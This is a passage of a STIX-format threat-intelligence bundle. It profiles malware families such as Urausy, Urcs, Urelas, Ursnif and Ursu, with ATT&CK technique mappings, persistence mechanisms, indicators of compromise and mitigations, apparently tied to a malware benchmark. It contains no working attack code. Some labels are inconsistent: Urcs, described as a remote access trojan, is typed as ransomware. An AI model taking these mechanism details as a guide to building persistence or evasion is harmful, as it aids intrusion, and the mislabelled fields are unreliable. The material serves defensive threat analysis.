      "description": "Ransom:Win32/Urausy (also known as a 'Police Trojan') represents a massive, historical wave of screen-locking ransomware. Unlike modern crypto-ransomware that encrypts files, Urausy locks the user's desktop interface entirely (`T1486`) and displays a localized, highly realistic warning purportedly from a local law enforcement agency (like the FBI, Interpol, or local police). The warning claims the user was caught viewing illegal content and must pay a 'fine' (usually via pre-paid cards like Ukash or Paysafecard) to unlock the machine.<br><br><b>Understanding Urausy (Screen-Locking Ransomware)</b><br>To an end-user, the computer is completely unusable; upon boot, they are immediately presented with a full-screen police warning that cannot be closed. For a SOC analyst, Urausy is a legacy threat that highlights the evolution of ransomware from psychological extortion (scareware) to actual cryptographic damage.<br><br><b>Execution and Extortion Mechanics</b><br>Urausy was primarily distributed via exploit kits (like Blackhole or Fiesta) (`T1189`) injected into compromised websites. Upon successful exploitation, the payload is dropped and executes. It achieves persistence by replacing the default Windows shell (typically `explorer.exe`) in the registry (`HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell`) with its own executable (`T1547.004`). It actively monitors for and terminates task manager processes (`taskmgr.exe`) to prevent the user from killing the locker (`T1562.001`). Crucially, Urausy uses geolocation (via the victim's IP address) to display a customized ransom note in the correct language, featuring the logos of local law enforcement.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a total denial of access to the desktop environment, though the underlying files are *not* encrypted. Host-based IoCs include the modification of the Winlogon Shell registry key, the presence of the malicious executable in the `%AppData%` directory, and the inability to launch `taskmgr.exe`. Network IoCs involve initial connections to known exploit kit landing pages. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Urausy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/urausy"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a70a4a2-1c81-5009-8ab5-8e6558a8623d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc709274-5a0f-5350-b97e-c103bb2e089e",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Urausy exhibits technique T1486 (Data Encrypted for Impact (Used here as a generic mapping for Ransomware, though Urausy primarily locks the screen rather than encrypting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72246689-173c-545b-b3d6-858c18ebb817",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc709274-5a0f-5350-b97e-c103bb2e089e",
      "target_ref": "attack-pattern--94721101-d9aa-5afe-bf2a-f61447bdc809",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Urausy exhibits technique T1547.004 (Boot or Logon Autostart Execution: Winlogon Helper DLL (Hijacking the shell to lock the screen upon boot))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ade75b3-f6cf-52ea-9129-e3475c496fda",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc709274-5a0f-5350-b97e-c103bb2e089e",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Urausy exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Terminating Task Manager))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6971f6d3-c6ae-5603-a0de-86c72e5c0737",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Urcs",
      "description": "<h3>Executive Summary</h3>\nURCS (often associated with the URC Bot) is a sophisticated Remote Access Trojan (RAT) and Botnet framework engineered to provide attackers with extensive, interactive control over compromised Windows endpoints. Once deployed, URCS integrates the infected machine into a decentralized command-and-control (C2) infrastructure, enabling distributed attacks, espionage, and rapid payload deployment.\n\n<h3>Technical Architecture and Exploitation</h3>\nURCS is typically distributed via mass phishing campaigns, malicious torrents, or quietly dropped by exploit kits executing on compromised websites.\n\nUpon execution, URCS establishes a robust, hidden operational footprint:\n<ul>\n<li><strong>Covert C2 Communication:</strong> Unlike traditional botnets that rely on hardcoded IP addresses, URCS frequently utilizes encrypted peer-to-peer (P2P) communication or relies on Domain Generation Algorithms (DGAs) to locate its C2 servers, making the infrastructure highly resilient to takedowns.</li>\n<li><strong>Extensive Remote Administration:</strong> The RAT provides a vast array of capabilities to the attacker, including a remote command shell, full file system access, active screen monitoring, and the ability to exfiltrate bulk data.</li>\n<li><strong>Modular Plugin Support:</strong> URCS is highly modular. The C2 server can push specific plugins to the host, allowing the malware to instantly pivot to executing DDoS attacks (SYN floods, UDP floods), harvesting credentials via keylogging, or acting as a proxy relay for other malicious traffic.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA URCS infection represents a critical security incident. The malware's modular nature and extensive RAT capabilities mean the compromised endpoint can be utilized simultaneously as an espionage tool, a staging ground for ransomware, and a weapon in a global DDoS campaign.\n\n<h3>Detection and Remediation Strategies</h3>\n<ul>\n<li><strong>Network Traffic Analysis:</strong> Monitor edge firewalls and DNS logs for anomalous, sustained peer-to-peer traffic patterns or a high volume of DNS requests for non-existent domains (NXDOMAIN), which are strong indicators of URCS C2 activity.</li>\n<li><strong>Endpoint Isolation:</strong> Sever the affected machine's network connection immediately (either physically or via the EDR console) to halt any potential command-and-control (C2) communication.</li>\n<li><strong>Complete System Wipe:</strong> Because URCS often downloads rootkit plugins to ensure deep persistence and hooks heavily into the operating system, attempting to \"clean\" the system is risky. The safest remediation is a complete wipe and re-image of the compromised host.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.URCS",
        "Backdoor.URCBot",
        "Win32/URCS"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Urcs",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/urcs"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60158d7c-1c93-5373-b900-951c51d91eb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6971f6d3-c6ae-5603-a0de-86c72e5c0737",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Urcs exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27833aaa-236d-5322-b37e-53f30a070070",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6971f6d3-c6ae-5603-a0de-86c72e5c0737",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Urcs exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03feddd3-9078-565f-88a8-883b99e1ec3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6971f6d3-c6ae-5603-a0de-86c72e5c0737",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Urcs exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13375643-6232-5902-ba2b-ef161f4eabdb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6971f6d3-c6ae-5603-a0de-86c72e5c0737",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Urcs exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--482ac1d3-7cbc-551d-b1c9-7a66f846b7ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Urelas",
      "description": "Trojan:Win32/Urelas is a specialized information stealer and credential extraction trojan engineered to harvest authentication credentials, session cookies, and stored account databases across web browsers, email clients, and online gaming and e-commerce platforms. Disguised frequently as software key generators, game modifications, or media converters distributed over peer-to-peer (P2P) file networks and forums, Urelas installs silent keyboard hooks to capture typed login details in real time. It scans local drives for SQLite credential caches and wallet configurations, compresses harvested surveillance data into encrypted archive packets, and exfiltrates them to attacker command nodes via HTTP POST beacons while occasionally downloading secondary monetization modules. (Observed samples in benchmark: 666)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Urelas",
        "Trojan:Win32/Urelas",
        "Trojan.Urelas",
        "Win32/Urelas",
        "Infostealer.Urelas",
        "Trojan.Win32.Urelas"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Urelas",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/urelas"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7489beb0-160b-53e7-9ef1-dc65e705fcb2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--482ac1d3-7cbc-551d-b1c9-7a66f846b7ff",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Urelas exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62e6a105-b509-5c7d-ab95-18a5b3a39f4b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--482ac1d3-7cbc-551d-b1c9-7a66f846b7ff",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Urelas exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3cf7e2a-35a4-5b4d-ab47-be586ec19e3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--482ac1d3-7cbc-551d-b1c9-7a66f846b7ff",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Urelas exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bfaa0ef7-49c2-53af-bd4c-646c820374da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--482ac1d3-7cbc-551d-b1c9-7a66f846b7ff",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Urelas exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c4a644d-f82a-561e-ace0-8c8ffc470a16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--482ac1d3-7cbc-551d-b1c9-7a66f846b7ff",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Urelas exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b27c0b9-a95a-57de-9783-2d7e4b23ce3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--482ac1d3-7cbc-551d-b1c9-7a66f846b7ff",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Urelas exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--debba56b-a429-57ad-8a38-b5f9faae4f2c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ursnif",
      "description": "Ursnif (also widely known by its underlying codebase names Gozi and ISFB) is one of the most enduring and technically sophisticated banking trojans and modular stealers in cybercrime history. Originally authored around 2007 by Russian developer Nikita Kuzmin (who was later arrested and pled guilty in U.S. federal court), the malware was designed to intercept online banking credentials, hijack financial transactions, and conduct man-in-the-browser (MitB) webinjections against financial institutions worldwide.\n\nFollowing successive leaks of the Gozi and ISFB (v2) source code on underground hacking forums in 2014 and 2015, the malware fractured into multiple independently maintained variants, most notably Dreambot, IAuto, and SaLoad. Ursnif employs heavy multi-stage obfuscation, packing its loaders with custom crypters, executing code through process hollowing (typically injecting into explorer.exe or svchost.exe), and persisting across reboots using heavily obfuscated registry run keys or COM hijacking. Ursnif is particularly known for using image steganography, hiding its encrypted secondary configurations and C2 domain lists inside ordinary-looking BMP, GIF, and PNG image files hosted on compromised web servers. In contemporary operations, Ursnif has evolved beyond pure retail banking fraud, frequently serving as an enterprise access broker and loader for ransomware affiliate operations. (Observed samples in benchmark: 8,188)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ursnif",
        "Gozi",
        "Gozi-ISFB",
        "ISFB",
        "Dreambot",
        "IAP",
        "SaLoad"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ursnif",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ursnif"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert AA20-302A (Top Routinely Exploited Vulnerabilities)"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60689494-95d3-5e03-92d3-29e076487930",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--debba56b-a429-57ad-8a38-b5f9faae4f2c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursnif exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9848f59b-f96a-57dc-a50c-8b5b4faf141c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--debba56b-a429-57ad-8a38-b5f9faae4f2c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursnif exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--581ebaa2-864d-53d2-9ee7-d6ea98a33b32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--debba56b-a429-57ad-8a38-b5f9faae4f2c",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursnif exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8376ae3c-b560-593b-be4e-443db25112fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--debba56b-a429-57ad-8a38-b5f9faae4f2c",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursnif exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b87f2592-652d-5bc8-8d01-84ab33bfc374",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--debba56b-a429-57ad-8a38-b5f9faae4f2c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursnif exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2919450-fc82-51b2-9487-a245187f3042",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--debba56b-a429-57ad-8a38-b5f9faae4f2c",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursnif exhibits technique T1005 (Data from Local System (Scraping RAM for Track 1/Track 2 data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06a58d5a-64c9-517b-bb82-5f939cb8272b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--debba56b-a429-57ad-8a38-b5f9faae4f2c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursnif exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--183ff0d8-c17e-5ec1-842c-c4c79c4cd018",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ursnifdropper",
      "description": "<h3>Executive Summary</h3>\nUrsnifDropper is a specialized, first-stage Trojan designed explicitly to facilitate the delivery and execution of the notorious Ursnif (also known as Gozi) banking trojan. This dropper acts as the initial beachhead in an attack chain, typically evading initial detection mechanisms before pulling down the more destructive secondary payload.\n\n<h3>Infection Vector and Execution Chain</h3>\nUrsnifDropper is predominantly distributed via highly coordinated malspam campaigns. These campaigns utilize socially engineered lures\u2014often disguised as invoices, shipping documents, or legal notices\u2014containing malicious macros within Microsoft Office documents (Word or Excel).\n\nUpon a user inadvertently enabling macros, the embedded VBA code executes, initiating the dropper's payload. UrsnifDropper immediately employs defense evasion techniques, such as API hashing and checking for virtualized environments (sandbox evasion), to ensure it is running on a genuine victim machine. Once validated, it reaches out to hardcoded, often compromised, command-and-control (C2) servers via HTTP/HTTPS to download the main Ursnif binary. The downloaded payload is then injected directly into the memory of legitimate Windows processes (like `explorer.exe` or `svchost.exe`) via process hollowing or DLL injection, effectively bypassing traditional file-based antivirus scanning.\n\n<h3>Threat Impact</h3>\nThe successful execution of UrsnifDropper almost invariably leads to a full-blown Ursnif infection. Ursnif is a sophisticated banking trojan capable of web injection, keylogging, and extensive credential theft, leading to severe financial fraud and network compromise.\n\n<h3>Mitigation Strategies</h3>\n<ul>\n<li><strong>Macro Disablement:</strong> Enforce strict Group Policy Objects (GPOs) to disable macros downloaded from the internet (Mark of the Web) across all Microsoft Office applications.</li>\n<li><strong>Email Security:</strong> Deploy advanced email filtering and sandboxing solutions to detonate and analyze attachments prior to delivery to the end-user inbox.</li>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Utilize EDR tools configured to alert on anomalous process injection (e.g., Office applications spawning `powershell.exe` or `cmd.exe`).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDropper.Ursnif",
        "Downloader.Ursnif",
        "Win32/UrsnifDropper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ursnifdropper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ursnifdropper"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dd0e88de-9239-52e0-bde0-21c8f9922568",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--183ff0d8-c17e-5ec1-842c-c4c79c4cd018",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursnifdropper exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56f4fec0-1874-553b-904b-f45b145e46a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--183ff0d8-c17e-5ec1-842c-c4c79c4cd018",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursnifdropper exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0b3d85f-7756-5876-8b8b-2d22659cce78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--183ff0d8-c17e-5ec1-842c-c4c79c4cd018",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursnifdropper exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bcaa05de-7ec6-5e4f-9baa-9c290f8683e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ursu",
      "description": "Trojan:Win32/Ursu (cataloged across security telemetry as Trojan.MSIL.URSU, Win32/Ursu, or Downloader.Ursu) is a persistent .NET-based trojan dropper and secondary payload loader. Designed to bypass static signature detection through layered string encryption and runtime dynamic assembly loading, Ursu drops components into %Windows% or %ProgramData% subfolders disguised as Microsoft .NET framework assemblies. Once active, Ursu establishes persistence via registry Run keys, queries system hardware identifiers, and connects to remote C2 servers over HTTPS. Ursu serves as a multi-stage distribution vehicle for commodity infostealers, banking trojans, and ransomware droppers. (Observed samples in benchmark: 1,168)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ursu",
        "Trojan:Win32/Ursu",
        "Trojan.MSIL.URSU",
        "Win32/Ursu",
        "Downloader.Ursu",
        "Ursu Loader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ursu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ursu"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a881677-1537-5226-896f-77aebebc5a83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcaa05de-7ec6-5e4f-9baa-9c290f8683e3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f67835c-0e03-537d-b85a-c223d38effe9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcaa05de-7ec6-5e4f-9baa-9c290f8683e3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--315b77ea-665d-5e47-8856-31bc4229c59a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcaa05de-7ec6-5e4f-9baa-9c290f8683e3",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursu exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bdfe69e9-18d3-54b5-80af-5b6eb7557923",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcaa05de-7ec6-5e4f-9baa-9c290f8683e3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df6d4e2a-f0e7-5373-9fa1-5c585e6f5629",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bcaa05de-7ec6-5e4f-9baa-9c290f8683e3",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ursu exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--94b32900-f3d6-58c3-9ef5-811b0ab3a40a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ursumdt",
      "description": "Trojan:Win32/Ursumdt is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ursumdt</b><br>To an end-user, a Ursumdt infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ursumdt is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ursumdt is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ursumdt frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts 